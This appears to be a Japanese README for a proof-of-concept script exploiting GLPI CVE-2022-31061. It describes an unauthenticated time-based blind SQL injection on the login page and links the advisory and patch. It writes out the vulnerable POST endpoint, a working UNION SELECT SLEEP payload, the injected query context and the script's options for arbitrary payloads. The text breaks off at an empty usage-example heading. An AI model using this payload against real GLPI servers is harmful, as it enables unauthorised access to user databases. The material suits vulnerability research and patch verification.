CVE-2022-31061

GLPI CVE-2022-31061 用 PoC

GLPI >= 9.3.0 かつ < 10.0.2 向けの Proof of Concept - ログインページにおける非認証 SQL インジェクション

法的免責事項 :

相互の同意なしに本スクリプトを対象への攻撃に使用することは違法です。自分の地域に適用されるすべての法律に従うことはエンドユーザーの責任です。開発者は一切の責任を負わず、本プログラムによって引き起こされた誤用または損害についても責任を負いません。

背景 :

公開情報 : https://github.com/glpi-project/glpi/security/advisories/GHSA-w2gc-v2gm-q7wq (2022-06-28)

パッチ : https://github.com/glpi-project/glpi/releases/tag/10.0.2 (2022-06-28)

コミット : https://github.com/glpi-project/glpi/commit/21ae07d00d0b3230f6235386e98388cfc5bb0514

脆弱性 :

ページ : POST /front/login.php
パラメーター : &auth=ldap-1%27+UNION+SELECT+SLEEP%285%29+%23+
インジェクション : 時間ベースのブラインドSQLインジェクション

##使用方法

Usage: CVE-2022-31061.py -t https://example.com [-v] [-c cmd]

Options:
  -h, --help            show this help message and exit
  -t TARGET, --target=TARGET
                        GLPI Website to audit
  -v, --verbose         Display verbose output
  -c CMD, --cmd=CMD     payload to inject. Time based Bind Injection. Context
                        : ' SELECT `id` FROM `glpi_users` WHERE `name` =
                        'fzrfdse' AND `authtype` = '3' AND `auths_id` = '1'
                        [payload] # '
  -u USERAGENT, --user-agent=USERAGENT
                        user-agent to use
  -p PROXY, --proxy=PROXY
                        proxy to use

CVE-2022-31061

人気

使用例 :